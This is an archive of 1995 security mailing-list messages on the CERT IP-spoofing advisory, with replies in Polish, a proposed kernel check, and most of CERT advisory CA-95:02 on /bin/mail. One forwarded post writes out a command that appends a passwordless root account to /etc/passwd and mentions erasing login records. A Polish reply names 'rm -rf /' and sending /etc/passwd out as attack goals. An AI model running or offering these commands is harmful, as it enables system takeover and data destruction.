: U    U M     M M     M University of Mining and Metallurgy, Computer Center
: U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
: U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
:  UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:26:53 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18303; Thu, 26 Jan 95 22:25:02 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10035 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:31:35 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262131.VAA10035@hebe.umcs.lublin.pl>
Subject: URL o Spoofingu!
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 22:31:34 +0100 (MET)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2549      

Edward Vielmetti wrote:
>From firewalls-owner@GreatCircle.COM  Thu Jan 26 01:25:25 1995
Date: Wed, 25 Jan 1995 18:30:24 -0500 (EST)
From: Edward Vielmetti <emv@recepsen.aa.msen.com>
To: firewalls
Subject: Re: CERT Advisory CA-95:01.IP.spoofing.attacks
Message-ID: <Pine.BSI.3.91.950125181359.24430V-100000@recepsen.aa.msen.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

(As requested by Brent Chapman.)

I have put together a web page on the spoofing attack.  See
        http://www.msen.com/~emv/tubed/spoofing.html
It has links to commercial sites that have documentation on how to
configure routers to block such attacks, as well as pointers to mailing
lists which discussed the news as it happened.  (Both Livingston and
Morning Star responded to my request for details, so at the very least
you can get their take on the problem.)

I am aware that there are documents missing from this page which would be
of use; some of that is because text versions are not yet available,
others are because I haven't gotten to them yet, and certainly there is
more to be said.  It is however a start.

Several relevant documents are available only in postscript format; if
you have a text to postscript conversion tool that's your favorite fling
it my way.

If you have details to add I have a mailbox set up for the purpose:
mail to
        spoofing@tubed.com
will drop into a separate folder for news and reference.

I am also putting out a (semi) regular newsletter, "tubed", which includes
some commentary on events such as this, and when I get a story written
down to the point where I can send it out to a list that has some
non-techno-geek people who I want to keep reading it :) I'll send it
there.  To request a subscription send mail to
        subscribe@tubed.com
with contact information.

thanks

--Ed

Edward Vielmetti / emv@msen.com / Ann Arbor, MI

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:26:57 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18293; Thu, 26 Jan 95 22:24:00 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10019 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:30:32 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262130.VAA10019@hebe.umcs.lublin.pl>
Subject: I jeszcze w temacie spoofingu...
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 22:30:31 +0100 (MET)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2799      

Bret McDanel wrote:
>From firewalls-owner@GreatCircle.COM  Thu Jan 26 03:06:29 1995
Date: Wed, 25 Jan 1995 14:36:13 -0500
From: bret@real.com (Bret McDanel)
Message-Id: <199501251936.OAA15862@real.com>
To: ken
Subject: Re: CERT Advisory 95:01 and TIS Firewalls...
Cc: firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Ian Dunkin <imd1707@ggr.co.uk> wrote on Wed, 25 Jan 1995 17:46:04 +0000 (GMT:
> >..but it seems to be being suggested on the Firewalls list, that a
> >_different_ attack exists to allow midstream takeover of TCP connections
> >(without the use of the TAP module mentioned in the advisory).  Have I
> >understood this aright?  In which case, even the use of a preliminary
> >authentication device doesn't help you, because your session can be
> >taken over after the authentication has completed?  If so, then
> >application gateways such as Fwtk are vulnerable if being used for
> >(unencrypted) inbound sessions? 
> 
> How does the attacker route the packets to his own machine (H) once
> he's inserted his own spoofed packets into the stream if he's not on
> the same machine as (B) ?
> 
>   A --FW---------R . . . B
>                  |
>                  H
> 
> Is this possible without source routing or subversion of a router (R)
> along the path?
> 
> -KH
> 
> 

As I understand the spoofed packets thing, it is like Robert T. Morris
described way back in 1985..  

You connect to port 514..  That way you cna execute commands (specifing
the user), even root commands..  Also, as I understand it there needs to
reside a .rhosts file..  Without that they cannot get in and do the damage..

They dont need to see anything, because htey would probally do something
like:
echo hacker::0:0::/:/bin/csh >>/etc/passwd
or something simmilar..  execute this a root, and you have an entry into
the system..  then use one of the various tools out there to remove your
self from utmp, wtmp and lastlogin..  Install all of your tools to keep root
(trojans, logic bombs, etc), or copy whatever you wnat, and leave..

It would be VERY difficult to maintain a session with spoofed packets..
So you wouldnt, only psoof the ip long enough to make a hole..

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:27:00 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18319; Thu, 26 Jan 95 22:26:52 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10051 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:33:25 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262133.VAA10051@hebe.umcs.lublin.pl>
Subject: DesLogin - szyfrowanie telnetu
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 22:33:24 +0100 (MET)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2085      

Dave Barrett wrote:
>From firewalls-owner@GreatCircle.COM  Thu Jan 26 01:27:50 1995
Message-Id: <199501260036.QAA01793@miles.greatcircle.com>
Date: Wed, 25 Jan 95 17:34:04 -0700
From: Dave Barrett <barrett@asgard.cs.Colorado.EDU>
To: Firewalls
Subject: End-to-end Encryption and CERT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

    I've been using a program I wrote called deslogin which I last released 
on ftp.uu.net about six months ago.  The recent CERT advisory has caused a 
flood of inquiries to me about my program and I'm preparing a new release 
as a result.
    A couple of questions come to mind.  Is telnet's encryption
option widely available, and separately, is a secure challenge/response
authentication protocal used for it now?  I originally wrote the program
to provide a secure un-tappable/hijackable connection between two secure
hosts across a highly insecure network.
    If telnet does not, I'm trying to get an idea of how many people have used 
or wish to use deslogin.  In the past, portability has been a problem, and
I'm seeking to improve it substantially.  I'm seeking advice and 
assistance particularly from people very familiar with the recent state
of the various standards as the documentation I have applies only to POSIX 1.
    Please respond by email to barrett@asgard.cs.colorado.edu with any
comments (or flames).  I'd be very appreciative of your comments.


			David A. Barrett
			barrett@asgard.cs.colorado.edu

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:50:25 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA19700; Thu, 26 Jan 95 22:48:52 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10253 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:55:24 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262155.VAA10253@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 22:55:23 +0100 (MET)
In-Reply-To: <Pine.SCO.3.91.950126155438.9959B-100000@zsku.p.lodz.pl> from "Piotr Wilk" at Jan 26, 95 04:00:26 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2157      

Piotr Wilk wrote:
> 
> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> : Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w
> : ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo
> : nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie
> : ma prawie zadnych informacji o maszynach innych firm (poza routerami,
> : ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na
> : Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny.
> Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi
> sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe.

Wg. spanikowanych adminow SUN'ow ma to wygkladac tak:
Ktos instaluje jako root .rhosts, lub dopisuje sie na koncu pliku z
haslami, a nastepnie wlazi na maszyne i dolacza jakis paskudny modul do
kernela. Jasne, ze nie chodzilo o dolaczenie modulow poprzez spoofing
jako taki.... :)

> Nie jestem takze pewien, czy dobrze rozumiem cala idee. Jezeli chodzi
> o 'source routing' to wylaczenie go na routerze powinno byc trywialne
> (na Cisco komenda 'no ip source route'). Jezeli zas o cos wiecej, to o co?

Wlasnie toczy sie bardzo ciekawa dyskusja o CISCO na firewalls. Juz
pojawily sie glosy, ze to odciecie nie jest takie proste, bo odcinajace
polecenia nie umozliwiaja rozroznienia kierunku, z ktorego nadchodza
pakiety (nie mozesz wyspecyfikowac "IN" ani tez "OUT". Tym czasem lece
dalej obserwowac dyskusje na ten temat .... :)

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:01:55 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20278; Thu, 26 Jan 95 22:58:27 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10369 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:04:59 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262204.WAA10369@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 23:04:59 +0100 (MET)
In-Reply-To: <3g8v6r$2s2@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 26, 95 09:22:54 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1570      

Jarek Lis wrote:
> 
> Czy ktos moglby mnie oswiecic jak sie taki 'IP-spoofing' atak przeprowadza?
> 
> Rozumiem, ze sie wysyla pakiet podajac falszywy adres nadawcy. Ten pakiet
> do adresata zwykle dociera (no coz, jakby tu powiedziec, Internet na tym
> sie opiera), tylko nie rozumiem co dalej.
> 
> Daje nam to lacznosc w jedna strone, i jakos nie potrafie sobie wyobrazic
> wykorzystania tego.
> 
Wlasnie... jakbym widzial postingi z zagranicznych list dyskusyjnych,
gdzie zadawano wlasnie to samo pytanie. Sprawa jest wbrew pozorom dosc
oczywista! W wiekszosci przypadkow... wystarczy wlasnie komunikacja w
jedna strone. Np. jesli chcesz "wstrzelic" sie w sesje root'a, aby w
katalogu glownym systemu zainstalowac dla siebie plik .rhosts, wyslac do
siebie /etc/passwd, czy tez w koncu wykonac "zwykle" rm -rf /, to nie
musisz widziec, co konkretnie sie dzieje - skutek takiej operacji umiesz
bowiem przewidziec. :)

					Pozdrawiam,
					   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:05:23 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20622; Thu, 26 Jan 95 23:04:22 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10426 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:10:55 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262210.WAA10426@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 23:10:54 +0100 (MET)
In-Reply-To: <3g905a$71j@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 26, 95 09:44:54 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2252      

Rafal Maszkowski wrote:
> 
> > Do diabla.. to jest wlasnie problem.. hehe.. sprawa nawet jest juz
> > troche smieszna. Dzis np. pisza na listach dyskusyjnych, ze jedynym
> > wyjsciem jest kodowanie przesylanych po sieci informacji, (na poziomie
> Na dluzsza mete jest to nieuniknione. Moze ktos wreszcie wezmie 4.4BSD
> i EBones i cos z tego skleci?

Ponoc sa jakies gotowe rzeczy. Jutro mam zamiar to posciagac i obejrzec.
dzis przyszedlem pozno i samo czytanie tych wszystkich list dyskusyjnych
zajelo mi tyle czasu, ze zwyczajnie nic innego nie moglem zrobic :(

> > - wiara w TCP Wrappers + Ident,
> 
> Nie wiem czy moze pomoc na atak przez source routing. tcpd nie pomoze
> na pewno przy ataku przez zgadywanie numerow, ale razem z identem moze.
> Tylko, ze trzeba miec wtedy identa na wszystkich maszynach, z ktorych
> sie logujemy. (zreszta dobrze go miec i tak)

Akurat my mamy..., ale niektorzy nasi userzy juz nie (np. ci, ktorzy
lacza sie z Novell'a).

> > - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO),
> Tylko najnowszy.

No ladnie... a kto ma najnowsze? ;)

> > Jak dotad do nas sie nikt tak nie wlamal ... :)
> A skad wiesz?

Bo jeszcze mam filesystem, bo moj checker zawartosci dysku nie
stwierdzil zmian w binariach ani konfigach. Oczywiscie zobaczymyu co
bedzie dalej....

> 
> Wstepne patches dla NetBSD juz sa. Mam nadzieje, ze Linux nie pozostanie
> daleko w tyle.

Tez mam taka sama nadzieje. Ciekawe jak bedzie z komercyjnymi
systemami....

> 
> Najlepsze zrodlo informacji jakie dopadlem to 
> http://www.eecs.nwu.edu/~jmyers/bugtraq
> 
Racja - swietne!

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:11:55 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21005; Thu, 26 Jan 95 23:11:26 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10479 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:17:58 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262217.WAA10479@hebe.umcs.lublin.pl>
Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 23:17:57 +0100 (MET)
In-Reply-To: <3g91n2$s2d@cyber.ict.pwr.wroc.pl> from "Zbigniew Sender" at Jan 26, 95 10:05:55 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 954       

Zbigniew Sender wrote:

????


Witam,

	Ja bardzo przepraszam, moze to nie jest zgodne z tematem tej
listy ani dyskusji, ale.... Czy naprawde konieczne jest cytowanie calego
postingu z listy i nawet nie umieszczenie pod nim oslawionego juz sgi'a
:), a nastepnie odeslanie calosci na te sama liste??????

					Pozdrawiam,
					   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:31:56 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA22161; Thu, 26 Jan 95 23:31:50 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10638 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:38:22 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262238.WAA10638@hebe.umcs.lublin.pl>
Subject: Spoofing & getsockname()
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 23:38:22 +0100 (MET)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2701      

Pond Scum wrote:
>From firewalls-owner@GreatCircle.COM  Thu Jan 26 22:32:30 1995
Date: Tue, 24 Jan 1995 23:33:20 +0800
From: hue@island.com (Pond Scum)
Message-Id: <9501250733.AA04675@coney.island.com>
To: firewalls, patrick
Subject: Re: IP spoofing vs tcp wrappers and netacl
X-Sun-Charset: US-ASCII
Content-Length: 1705
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> >  Doesn't help at all. The packets are forged to be from the internal
> >network, and this is what getsockname()/getpeername() will say. It you
> >use netacl, to protect telnetd to the firewall. (So the the admin can 
> >login from the internal network), then the attacker can get to
> >telnetd.
> 
> Actually, if the destination is the firewall, it does help, because the
> getsockname tells you the ip-address of the interface that is holding
> up your end of the connection.  You know which ip-address you assign

Right, but you can just as easily send to address of the interface on
the internal network, even with IP forwarding disabled.  To your netacl
or tcp wrapper, it looks like a connection to the internal interface
from an internal net.  It was pointed out to me in private email that
the only check in ipintr() is whether the address matches any of the host's
interfaces, there is no check for which interface the packet came in on
(I chopped out some code here, these are just the relevant parts):


        /*
         * Check our list of addresses, to see if the packet is for us.
         */
        for (ia = in_ifaddr; ia; ia = ia->ia_next) {

                if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
                        goto ours;

But what if you just changed it to this:

                if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
			if (ia->ia_ifp == ifp)
                        	goto ours;
			else
				it came in on the wrong interface, log it and drop it

If this successfully prevented someone from sending a packet to the address
of your internal interface from the outside world, then you could trust
getsockname().

-Jonathan		hue@island.com

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Fri Jan 27 00:11:56 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24004; Fri, 27 Jan 95 00:10:34 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id XAA11006 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 23:17:07 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501262317.XAA11006@hebe.umcs.lublin.pl>
Subject: CERT Advisory CA-95:02.binmail.vulnerabilities (fwd)
To: polip@zsku.p.lodz.pl
Date: Fri, 27 Jan 1995 00:17:06 +0100 (MET)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 33142     

CERT Advisory wrote:
>From cert-advisory@cert.org  Thu Jan 26 23:05:26 1995
Date: Thu, 26 Jan 1995 17:53:40 -0500
Message-Id: <199501262253.RAA04066@delphi.cert.org>
Subject: CERT Advisory CA-95:02.binmail.vulnerabilities
To: cert-advisory-request
From: cert-advisory@cert.org (CERT Advisory)
Reply-To: cert-advisory@cert.org
Organization: CERT Coordination Center
Address:      Software Engineering Institute
              Carnegie Mellon University
              Pittsburgh, Pennsylvania 15213-3890
Phone: +1 412 268-7090
Fax:   +1 412 268-6989

=============================================================================
CA-95:02                         CERT Advisory
                                January 26, 1995
			  Vulnerabilities in /bin/mail
-----------------------------------------------------------------------------

This advisory supersedes CA-91:01a SunOS Mail Vulnerability and CA-91:13
Ultrix Mail Vulnerability.

There are vulnerabilities in some versions of /bin/mail. Section III below
provides vendor-specific information and an alternative to /bin/mail.

As we receive additional information relating to this advisory, we will place
it, along with any clarifications, in a CA-95:02.README file. CERT advisories
and their associated README files are available by anonymous FTP from
info.cert.org. We encourage you to check the README files regularly for
updates on advisories that relate to your site.

-----------------------------------------------------------------------------

I.   Description

     Some versions of /bin/mail based on BSD 4.3 UNIX are vulnerable 
     because of timing windows in the way /bin/mail uses publicly writable
     directories.

II.  Impact

     Local users (users that have an account on the system) can create 
     or modify root-owned files on the system and can thereby gain
     unauthorized root access.

III. Solutions

     Either install a patch from your vendor or replace /bin/mail with
     mail.local.

     A.  Obtain the appropriate patch from your vendor and install it
         according to the instructions included with the patch.

         Below is a summary of the vendors listed in the current version of 
         the CA-95:02.README file, and the status they have provided.  
         More complete information, including how to obtain patches, is
         provided in Appendix A of this advisory and reproduced in the README
         file associated with this advisory. We will update the README file
         as we receive more information from vendors.

         If your vendor's name is not on this list, please contact the vendor
         directly.

         Vendor or Source                   Status
         ----------------                   ------------
         Apple Computer, Inc.               not vulnerable
         Berkeley SW Design, Inc. (BSDI)    not vulnerable
         Data General Corp.                 not vulnerable      
         Digital Equipment Corp.            vulnerable, patches available
         FreeBSD                            not vulnerable
         Harris                             not vulnerable
         IBM                                not vulnerable 
         NetBSD                             not vulnerable
         NeXT, Inc.                         not vulnerable 
         Pyramid                            not vulnerable
         The Santa Cruz Operation (SCO)     see note in Appendix A
         Solbourne (Grumman)                vulnerable - contact vendor
         Sun Microsystems, Inc.             SunOS 4.x vulnerable, patches
                                              available, patch revisions
                                              coming soon
                                            Solaris 2.x not vulnerable

     B. Replace /bin/mail with mail.local.

        If you cannot obtain a vendor-supplied replacement for /bin/mail, the
        CERT Coordination Center recommends using mail.local as a replacement
        for /bin/mail.

        Although the current version of mail.local is not a perfect solution,
        it addresses the vulnerabilities currently being exploited in
        /bin/mail. As improvements to mail.local become available, we will
        note them in the README file associated with this advisory. 

        The current version of mail.local has been tested on SunOS 4.1
        and Ultrix 4.X systems.

        Mail.local.c for BSD 4.3 systems, along with a README file containing
        installation instructions, can be found on the anonymous FTP servers
        listed below. In addition, Appendix B of this advisory contains the
        the README file and Appendix C contains mail.local.c.  

    Location             Filename 
    --------             --------
    info.cert.org        /pub/tools/mail.local/mail.local.c
                         MD5  c0d64e740b42f6dc5cc54a2bc37c31b0

    coast.cs.purdue.edu  /pub/tools/unix/mail.local/mail.local.c
                         MD5  c0d64e740b42f6dc5cc54a2bc37c31b0
    
---------------------------------------------------------------------------
The CERT Coordination Center thanks Eric Allman, Wolfgang Ley, Karl
Strickland, Wietse Venema, and Neil Woods for their contributions to
mail.local.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

If you wish to send sensitive incident or vulnerability information to
CERT staff by electronic mail, we strongly advise that the e-mail be
encrypted.  The CERT Coordination Center can support a shared DES key, PGP
(public key available via anonymous FTP on info.cert.org), or PEM (contact
CERT staff for details).

Internet E-mail: cert@cert.org
Telephone: +1 412-268-7090 (24-hour hotline)
           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
           and are on call for emergencies during other hours.
Fax: +1 412-268-6989

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA

Past advisories, CERT bulletins, information about FIRST representatives, 
and other information related to computer security are available for anonymous
FTP from info.cert.org.


CERT is a service mark of Carnegie Mellon University.


...............................................................................
Appendix A: Vendor Information
Current as of January 26, 1995
See CA-95.02.README for updated information

Below is information we have received from vendors who have patches available
or upcoming for the vulnerabilities described in this advisory, as well as
vendors who have confirmed that their products are not vulnerable. If your
vendor's name is not in one of these lists, contact the vendor directly for
information on whether their version of sendmail is vulnerable and, if so, the
status of patches to address the vulnerabilities.

NOT VULNERABLE
--------------
The following vendors have reported that their products are NOT vulnerable.
         Apple Computer, Inc.               
         Berkeley SW Design, Inc. (BSDI)    
         Data General Corp.
         Harris                             
         IBM                                
         NeXT, Inc.                         
         Pyramid                            
         The Santa Cruz Operation (SCO) - not vulnerable, but see note below
         Sun Microsystems, Inc. - Solaris 2.x (SunOS 4.x is vulnerable; see
                                               below)  

In addition, we have reports that the following products are NOT vulnerable.
         FreeBSD                   
         NetBSD                    

VULNERABLE
----------
We have reports that the following vendors' products ARE vulnerable.
Patch information is provided below.

-----------------------------
Digital Equipment Corporation
 
Vulnerable:  DEC OSF/1 versions 1.2, 1.3, and 2.0
             DEC ULTRIX versions 4.3, 4.3A, and 4.4

Obtain and install the appropriate patch according to the instructions
included with the patch. The patch that corrects the /bin/mail problem in each
case is part of a comprehensive Security Enhanced Kit that addresses other
problems as well. This kit has been available since May 17, 1994. It is
described in DEC security advisory #0505 and in CERT bulletin VB-94:02.

        1. DEC OSF/1
	   Upgrade/install OSF/1 to a minimum of V2.0 and 
           install Security Enhanced Kit CSCPAT_4061 v1.0. 

        2. DEC ULTRIX
           Upgrade/install ULTRIX to a minimum of V4.4 and 
           install Security Enhanced Kit CSCPAT_4060 v1.0.
           
Both kits listed above are available from Digital Equipment Corporation by
contacting your normal Digital support channel or by request via DSNlink for
electronic transfer. 

-----------------------------
The Santa Cruz Operation (SCO)

SCO's version of /bin/mail is not vulnerable to the problems mentioned
in this advisory. SCO's /bin/mail is not setuid-root. However, SCO's 
/bin/mail has other security-related issues that are fixed by SCO's
Support Level Supplement (SLS) uod392a. To get this:

ftp:    ftp.sco.COM:/SLS/uod392a.Z      (compressed disk image)
        ftp.sco.COM:/SLS/uod392a.ltr.Z  (cover letter)
        ftp.sco.COM:/SLS/README

-----------------------------
Solbourne

Grumman System Support Corporation now performs all Solbourne
software and hardware support. Please contact them for further
information.
       
        ftp: ftp.nts.gssc.com
        phone: 1-800-447-2861
        e-mail: support@nts.gssc.com

-----------------------------
Sun Microsystems, Inc.
 
Current patches are listed below, but they are being revised.

        SunOS      Patch              MD5 Checksum       
        ------     -----              ------------
        4.1.3      100224-13.tar.Z    90a507017a1a40c4622b3f1f00ce5d2d
        4.1.3UI    101436-08.tar.Z    0e64560edc61eb4b3da81a932e8b11e1  

        The patches can be obtained from local Sun Answer Centers and
        through anonymous FTP from ftp.uu.net in the /systems/sun/sun-dist
        directory. In Europe, the patches are available from mcsun.eu.net 
